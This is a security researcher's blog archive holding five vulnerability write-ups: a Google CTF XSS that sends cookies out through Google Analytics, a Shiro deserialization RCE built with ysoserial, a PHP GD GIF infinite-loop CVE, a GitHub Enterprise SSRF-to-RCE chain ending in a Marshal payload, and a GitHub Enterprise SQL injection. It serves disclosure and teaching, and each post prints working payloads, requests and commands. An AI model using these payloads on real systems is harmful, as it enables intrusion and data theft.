2018年6月27日 星期三

Google CTF 2018 Quals Web Challenge - gCalc




gCalc is the web challenge in Google CTF 2018 quals and only 15 teams solved during 2 days’ competition!

This challenge is a very interesting challenge that give me lots of fun. I love the challenge that challenged your exploit skill instead of giving you lots of code to find a simple vulnerability or guessing without any hint. So that I want to write a writeup to note this :P

The challenge gave you a link https://gcalc2.web.ctfcompetition.com/. It just a calculator written in JavaScript and seems like a XSS challenge. There is a try it hyperlink in the bottom and pass your formula expression to admin!




At first glance I found there are 2 parameter we can control from query string - expr and vars. It looks like:

https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={"pi":3.14159,"ans":0}

You can define some variables in the context and use them in formula expression. But the variable only allowed Number type, and the Object type that created from null, that means there is no other methods and properties in the created Object. The prettified JavaScript code you can find out from my gist!

As you can see, the real vulnerability is very straightforward. Argument a is expr in query string and argument b is vars. The expr just do some sanitizers and pass to new Function(). The new Function() is like eval in JavaScript!

function p(a, b) {
    a = String(a).toLowerCase();
    b = String(b);
    if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
    b = JSON.parse(b, function(a, b) {
        if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
        if ("number" === typeof b) return b
    });
    return (new Function("vars", "return " + a))(b)
}


The sanitizer of expr looks like flexible. We use regex101 to analyse the regular expression. The regular expression allowed some operands and operators in expression, and the variable name must starts-with vars. The first thought in my head is that we can use constructor.constructor(CODE)() to execute arbitrary JavaScript. Then the remaining part is how to create the CODE payload.

Quickly, I wrote the first version of exploit like:

// https://regex101.com/r/FLdJ7h/1
// alert(1) // Remove whitespaces by yourself
vars.pi.constructor.constructor(
  vars.pi.toString().constructor.fromCharCode(97)+
  vars.pi.toString().constructor.fromCharCode(108)+
  vars.pi.toString().constructor.fromCharCode(101)+
  vars.pi.toString().constructor.fromCharCode(114)+
  vars.pi.toString().constructor.fromCharCode(116)+
  vars.pi.toString().constructor.fromCharCode(40)+
  vars.pi.toString().constructor.fromCharCode(49)+
  vars.pi.toString().constructor.fromCharCode(41)
)()


I debug for an hour and got stuck by this exploit. I am curious about why this works in my console but fails to XSS. Finally, I find the root cause that there is a toLowerCase in the first line, so our toString and fromCharCode will fail… orz

function p(a, b) {
    a = String(a).toLowerCase();
    b = String(b);
    ...



After knowing this, I quickly wrote next version of exploit, retrieving the payload from key of vars map! In my payload, I use /1/.exec(1).keys(1).constructor to get the Obejct constructor and keys(vars).pop() to retrieve the last key in the vars map!

Here is the payload:

// https://regex101.com/r/IMXgwR/1
(1).constructor.constructor(
  /1/.exec(1).keys(1).constructor.keys(vars).pop()
)()
https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0,"alert(1)":0}


Hi, we got the alert(1)



Does it finished? Not yet :(
Our goal is to steal cookies from admin, and we encountered CSP problem!

CSP of /

Content-Security-Policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/

CSP of /static/calc.html

Content-Security-Policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;


We can’t use redirection or load external resources to exfiltrate cookies. But I have noticed that img-src https://www.google-analytics.com in the CSP header and remembered long time ago, I read a HackerOne report that using Google Analytics for data exfiltration! You can embed your data in the parameter ea of Google Analytics to outside, and we can see results from Google Analytics console!

Here is the final exploit

https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect
?v=1&tid=UA-00000000-1&cid=0000000000&t=event&ec=email&ea='+encodeURIComponent(document.cookie);document.querySelector('body').append(x)":0}





Oh yeah. The flag is CTF{1+1=alert}!


2018年3月26日 星期一

Pwn a CTF Platform with Java JRMP Gadget



打 CTF 打膩覺得沒啥新鮮感嗎,來試試打掉整個 CTF 計分板吧!
前幾個月,剛好看到某個大型 CTF 比賽開放註冊,但不允許台灣參加有點難過 :(
看著官網最下面發現是 FlappyPig 所主辦,又附上 GitHub 原始碼 ç§‰æŒè‘—ç·´ç¿’ Java code review 的精神就 git clone 下來找洞了!
(以下測試皆在 FlappyPig 的允許下友情測試,漏洞回報官方後也經過同意發文)
在有原始碼的狀況下進行 Java 的 code review 第一件事當然是去了解第三方 Libraries 的相依性,關於 Java 的生態系我也在幾年前的文章小小分享過,當有個底層函式庫出現問題時是整個上層的應用皆受影響!
從 pom.xml è§€å¯Ÿç™¼ç¾ç”¨äº†
  1. Spring Framework 4.2.4
    • 從版本來看似乎很棒沒什麼重大問題
  2. Mybatis 3.3.1
    • 一個 Java ORM
    • 似乎也沒看到用法有問題
  3. Jackson 2.7.1
    • 出過反序列化漏洞
    • 不過 enableDefaultTyping æ²’啟用,也無直接收取 JSON 輸入無法觸發漏洞
  4. Apache Shiro 1.2.4

既然有現成的洞,當下即開始針對 Shiro 進行研究,首先遇到的第一個問題是照著文章內 PoC 的方式解密會發現失敗,看來是有自己修改過的怎麼辦QQ
不過翻著翻著原始碼在 src/main/resources/spring-shiro.xml çœ‹åˆ°

真開心XD

把 AES Key 更正後解回來的東西有 AC ED é–‹é ­çœ‹èµ·ä¾†æ˜¯åºåˆ—化過後的資料,真棒
$ python decrypt.py cGhyYWNrY3RmREUhfiMkZA== | xxd 
00000000: 9373 1385 4bb7 526f 7a97 f7c5 1e17 0da3  .s..K.Roz.......
00000010: aced 0005 7372 0032 6f72 672e 6170 6163  ....sr.2org.apac
00000020: 6865 2e73 6869 726f 2e73 7562 6a65 6374  he.shiro.subject
00000030: 2e53 696d 706c 6550 7269 6e63 6970 616c  .SimplePrincipal
00000040: 436f 6c6c 6563 7469 6f6e a87f 5825 c6a3  Collection..X%..
...

接著就是產 Gadget 丟到遠端伺服器拿 shell,但在這步怎麼也無法成功利用,有點殘念只好再繼續研究下去!
當時的猜想是:
Apache Shiro 是一套實現身分驗證的 Library,而實現的方式可能有定義自己的 ClassLoader 因此導致現有的 Gadget 無法使用
(尚無查證,不過在拿到 shell 後看到這篇文章 Exploiting JVM deserialization vulns despite a broken class loader è­‰æ˜ŽçŒœæƒ³ä¹Ÿè¨±æ˜¯å°çš„,不過這篇也沒實現 RCE XD)
雖然無法跳至 Common Collection 但至少還有 JRE 本身的 Gadget 可以跳去做二次利用!
綜觀 ysoserial é™¤äº† JRE 本身的洞外可利用的 Gadget 所剩無幾,先來試試 URLDNS è‡³å°‘先確認漏洞存在再說!
$ java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://mydnsserver.orange.tw/ | python exp.py
發現 DNS 有回顯至少確認漏洞存在了,再繼續往下利用!
下一步我選的 Gadget 則是 JRMPClient,由於 JRMP 是位於 RMI 底下的一層實作,所以走的也是反序列化的協議,“純猜測” 也許在這裡使用 ClassLoader 就不會是 Apache Shiro 而是原本的 ClassLoader
(未查證,如有人可以幫忙查證請告訴我結果XD)
但這裡又遇到一個問題是,如何實現一個 JRMP Server 去接送過來的 Protocol?
網路上並沒有人有提供 JRMPClient è¦å¦‚何使用的教學及利用方式!
本來想要手刻但找著找著資料找回 ysoserial 上的 JRMPListener.java,讀了一下原始碼才驚覺 ysoserial 真棒,各種模組化及利用都幫你寫好了!
ysoserial 分為大個部分,payload ä»¥åŠ exploit,平常都只有用到產 payload 的部分而已,但實際上作者有寫好幾份可直接利用的 exploit 並模組化,讓我們可以直接利用!
所以最後的利用則是:
$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345'  | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server
如此一來就可以獲得 shell 惹!





2018/03/27 01:23, Update
  1. 經過比較詳細的分析,一開始失敗的詳細原因真是如同文章 æ‰€èªª Shiro 自己實現了一個 Buggy 的 ClassLoader
  2. 所以 payload 當中出現 ChainedTransformer æˆ–是 InvokerTransformer éƒ½æœƒå‡ºç¾ Unable to deserialize argument byte array éŒ¯èª¤
  3. 而內建的 URLDNS åŠ JRMPClient å‰›å¥½æ²’用到上述方式實現 Gadget 所以可以使用!
  4. 所以理論上透過 RMI 或是 JDNI 的方式應該也可以成功!
2018/03/27 10:09, Update
  1. 留言中有人給出了更詳細的 root cause! - "Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。"
  2. 感謝幫忙解惑 <(_ _)>

2018年1月21日 星期日

PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF



Author: Orange Tsai(@orange_8361) from DEVCORE

Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!

Affected

All PHP version
  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

Vulnerability Details

The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte_

460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);


Function GetCode is just a wrapper, and GetCode_ do the real stuff.

376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ... 

399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
           ...
           
405    }


GetCode_ call GetDataBlock to read data from GIF!

332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336    
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340    
341     *ZeroDataBlockP = count == 0;
342    
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }
OK, here are all vulnerable code, can you spot the vulnerability? :P



The bug relied on the type conversion from int to unsigned char. As you can see:
If GetDataBlock_ return -1, scd->done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.

So the result is, one single GIF can make an infinite loop and exhausted the server resource.

PoC

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  Infinite loop here...


It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...

Epilogue

I will disclose more 0-days in the future!

References


2017年7月28日 星期五

How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE!



Hi, it’s been a long time since my last blog post.

In the past few months, I spent lots of time preparing for the talk of Black Hat USA 2017 and DEF CON 25. Being a Black Hat and DEFCON speaker is part of my life goal ever. This is also my first English talk in such formal conferences. It's really a memorable experience :P

Thanks Review Boards for the acceptance.


This post is a simple case study in my talk. The techniques here are old, but I’ll show you just how powerful those old tricks can be! If you are interested in, you can check slides here:
The slides covered even more powerful new approaches on SSRF and other techniques not included in this article.

In this article, I will show you a beautiful exploit chain that chained 4 vulnerabilities into a Remote Code Execution(RCE) on GitHub Enterprise.
It also be rewarded for the Best Report in GitHub 3rd Bug Bounty Anniversary Promotion!


Foreword



In my last blog post, I mentioned that the new target - GitHub Enterprise, also demonstrated how to de-obfuscate Ruby code and find SQL Injection on it. After that, I see several bounty hunters start to pay attentions on GitHub Enterprise and find lots of amazing bugs, like:


Seeing those writeups, I got a little frustrated and blame myself why I didn’t notice that :(

Therefore, I have made up my mind to find a critical vulnerability that no one have found.
Of course, in my own way!


Vulnerabilities



Before I examine the architecture of GitHub Enterprise. My intuition tells me, there are so many internal services inside GitHub Enterprise. If I can play with them, I believe I have confidences to find something interesting.

So, I am focusing on finding Server Side Request Forgery(SSRF) vulnerability more.



First Bug - Harmless SSRF


While playing GitHub Enterprise, I notice that there is an interesting feature called WebHook. It can define a custom HTTP callback when specific GIT command occurs.


You can create a HTTP callback from the URL:

https://<host>/<user>/<repo>/settings/hooks/new

And trigger it by committing files. Thus, GitHub Enterprise will notify you with a HTTP request. The  payload and the request look like bellow:

Payload URL:

http://orange.tw/foo.php


Callback Request:

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972

payload=...



GitHub Enterprise uses Ruby Gem faraday to fetch external resources and prevents users from requesting internal services by Gem faraday-restrict-ip-addresses.

The Gem seems to be just a blacklist and can be easily bypassed by the Rare IP Address Formats defined in RFC 3986. In Linux, the 0 represented localhost

PoC:

http://0/



OK, we got a SSRF now. However, we still can’t do anything. Why?

There are several limitations in this SSRF, such as:

  • Only POST method
  • Only allowed HTTP and HTTPS scheme
  • No 302 redirection
  • No CR-LF Injection in faraday
  • Couldn't control the POST data and HTTP headers

The only thing we can control is Path part.



But, It's still worth to mentioned that this SSRF can lead to Denied of Service(DoS).

There is an Elasticsearch service bound on port 9200. In the shutdown command, Elasticsearch doesn’t care about whatever the POST data is. Therefore, you can play its REST-ful API for fun :P

Denied of Service PoC:

http://0:9200/_shutdown/



Second Bug - SSRF in Internal Graphite 


We have a SSRF now, with lots of limitations. What can I do?
My next idea is - Is there any Intranet services we can leverage?

It’s a big work. There are several HTTP services inside, and each service based on different language implementations like C / C++, Go, Python and Ruby…

With a couple of days digging. I find there is a service called Graphite on port 8000. Graphite is a highly scalable real-time graphing system and GitHub uses this system to show some statistics to users.

Graphite is written in Python and also a open-source project, you can download the source code here!

From reading the source, I quickly find another SSRF here. The second SSRF is simple.

In file webapps/graphite/composer/views.py

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

You can see Graphite receive the user input url and just fetch it! So, we can use the first SSRF to trigger the second SSRF and combine them into a SSRF execution chain.

The SSRF execution chain payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

The request of second SSRF

$ nc -vvlp 12345
...

GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK, we successfully change the POST-based SSRF into a GET-based SSRF. But still can't do anything.

Let’s go to next stage!

Third Bug - CR-LF Injection in Python


As you can see, Graphite uses Python httplib.HTTPConnection to fetch the resources. With some trials and errors, I notice that there is a CR-LF Injection in httplib.HTTPConnection. Therefore, we have the ability to embed malicious payloads in HTTP protocol.

CR-LF Injection PoC

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:


$ nc -vvlp 12345
...

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

This is one small step, but it become a giant leap for whole the exploit chain. Now, I can smuggle other protocols in this SSRF Execution Chain. For example, If we want to play with Redis, we can try following payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

P.s. The SLAVEOF is a very nice command that you can make out-bound traffics. This is a useful trick when you are facing some Blind-SSRF!

That’s look great! However, there are also some limitations in protocol smuggling

  1. Protocols with handshakes like SSH, MySQL and SSL will fail
  2. The payload we used in second SSRF only allowed bytes from 0x00 to 0x8F due to the Python2

By the way, there is more than one way to smuggle protocols in the HTTP scheme. In my slides, I also show that how to use the features in Linux Glibc to smuggle protocols over SSL SNI, and a case study in bypassing Python CVE-2016-5699!

Check it, if you are interested :)


Fourth Bug - Unsafe Deserialization


For now, we have the ability to smuggle other protocols in a HTTP protocol, but the next problem is, what protocol do I choose to smuggle?

I spend lots of time to find out what vulnerabilities can be triggered if I can control the Redis or Memcached.

While reviewing the source. I am curious about why GitHub can store Ruby Objects in Memcached. After some digging, I find GitHub Enterprise uses Ruby Gem memcached to handle caches, and the cache was wrapped by Marshal.

It’s a good news to me. Everyone know that Marshal is dangerous.

(If you don’t know, I recommend you read the slides Marshalling Pickles by @frohoff and @gebl from AppSec California 2015)

So, our our goal is clear.

We use our SSRF execution chain to store malicious Ruby Objects in Memcached. The next time GitHub fetches the cache, Ruby Gem memcached will de-serialize the data automatically. And the result is… BOOM! Remote Code Execution! XD

Unsafe Marshal in Rails Console

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"

irb(main):005:0> code = "`id`"
=> "`id`"

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

OK, let’s summarize our steps!

  1. First SSRF - Bypass the existing protection in Webhook
  2. Second SSRF - SSRF in Graphite service
  3. Chained first SSRF and second SSRF into a SSRF execution chain
  4. CR-LF Injection in the SSRF execution chain
  5. Smuggled as Memcached protocol and insert a malicious Marshal Object
  6. Triggered RCE

Exploit in a Nutshell




The final exploit you can find on Gist and video on Youtube






The Fix



GitHub had made a number of improvements to prevent related issues again!

  1. Enhanced the Gem faraday-restrict-ip-addresses
  2. Applied a custom Django middleware to ensure attackers can’t reach path outside http://127.0.0.1:8000/render/
  3. Enhanced iptables rules that block access with pattern User-Agent: GitHub-Hookshot

$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset
...


Timeline



  • 2017/01/23 23:22 Report the vulnerability to GitHub via HackerOne, report number 200542 assigned
  • 2017/01/23 23:37 GitHub changed the status to Triaged.
  • 2017/01/24 04:43 GitHub responses that the issue validated and working on a fix.
  • 2017/01/31 14:01 GitHub Enterprise 2.8.7 released.
  • 2017/02/01 01:02 GitHub response that this issue have been fixed!
  • 2017/02/01 01:02 GitHub rewarded $7,500 USD bounty!
  • 2017/03/15 02:38 GitHub rewarded $5,000 USD for the best report bonus.

2017年1月7日 星期六

GitHub Enterprise SQL Injection


Before


GitHub Enterprise is the on-premises version of GitHub.com that you can deploy a whole GitHub service in your private network for businesses. You can get 45-days free trial and download the VM from enterprise.github.com.

After you deployed, you will see like bellow:

alt

alt

alt

Now, I have all the GitHub environment in a VM. It's interesting, so I decided to look deeper into VM :P



Environment


The beginning of everything is Port Scanning. After using our good friend - Nmap, we found that there are 6 exposed ports on VM.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

With a little knocking and service grabbing, it seems like:

  • 22/tcp and 9418/tcp seem like haproxy and it forwards connections to a backend service called babeld
  • 80/tcp and 443/tcp are the main GitHub services
  • 122/tcp is just a SSH service
  • 8443/tcp is management console of GitHub

By the way, GitHub management console need a password to login. Once you got the password, you can add your SSH key and connect into VM through 122/tcp

With SSH into VM, we examined the whole system and found that the service code base looks like under directory of /data/

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Change directory to /data/ and try to review the source code, but it seems encrypted :(

alt

GitHub uses a custom library to obfuscate their source code. If you search ruby_concealer.so on Google, you will find a kind man write a snippet on this gist.

It simply replace rb_f_eval to rb_f_putsin ruby_concealer.so and it’s work.

But to be a hacker. We can’t just use it without knowing how it works.
So, let’s open IDA Pro!

alt

alt

As you can see. It just uses Zlib::Inflate::inflate to decompress data and XOR with following key:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. 

So we can easily implement it by our-self!

require 'zlib'

def decrypt(s)
    key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext






Code Analysis


After de-obfuscated all the code. Finally, we can start our code reviewing process.

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...



$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Most of the code are written in Ruby (Ruby on Rails and Sinatra).

  • /data/github/ looks like the application run under port 80/tcp 443/tcp and it looks like the real code base of github.com, gist.github.com and api.github.com
  • /data/render/ looks like real code base of render.githubusercontent.com
  • /data/enterprise-manage/ seems like the application run under port 8443/tcp

GitHub Enterprise uses enterprise? and dotcom? to check whether the application is running under Enterprise Mode or GitHub dot com mode.



Vulnerability


I use about one week to find this vulnerability, I am not familiar with Ruby. But just learning from doing :P

This is my rough schedule of the week.

  • Day 1 - Setting VM
  • Day 2 - Setting VM
  • Day 3 - Learning Rails by code reviewing
  • Day 4 - Learning Rails by code reviewing
  • Day 5 - Learning Rails by code reviewing
  • Day 6 - Yeah, I found a SQL Injection!

That SQL Injection vulnerability is found under GitHub Enterprise PreReceiveHookTarget model.

The root cause is in /data/github/current/app/model/pre_receive_hook_target.rb line 45

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Although There is built-in ORM(called ActiveRecord in Rails) in Rails and prevent you from SQL Injection. But there are so many misuse of ActiveRecord may cause SQL Injection.

More examples you can check Rails-sqli.org. It’s good to learn about SQL Injection on Rails.

In this case, if we can control the parameter of method order we can inject our malicious payload into SQL.

OK, let’s trace up! sorted_by is called by /data/github/current/app/api/org_pre_receive_hooks.rb in line 61.



10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

You can see that params[:sort] is passed to scope.sorted_by . So, we can inject our malicious payload into params[:sort].

Before you trigger this vulnerability, you need a valid access_token with admin:pre_receive_hook scope to access API. Fortunately, it can be obtained by following command:



$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

Once you get a access_token, you can trigger the vulnerability by:



$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}

alt



Timeline


  • 2016/12/26 05:48 Report vulnerability to GitHub via HackerOne
  • 2016/12/26 08:39 GitHub response that have validated issue and are working on a fix.
  • 2016/12/26 15:48 Provide more vulneraiblity detail.
  • 2016/12/28 02:44 GitHub response that the fix will included with next release of GitHub Enterprise.
  • 2017/01/04 06:41 GitHub response that offer $5,000 USD reward.
  • 2017/01/05 02:37 Asked Is there anything I should concern about if I want to post a blog?
  • 2017/01/05 03:06 GitHub is very open mind and response that it’s OK!
  • 2017/01/05 07:06 GitHub Enterprise 2.8.5 released!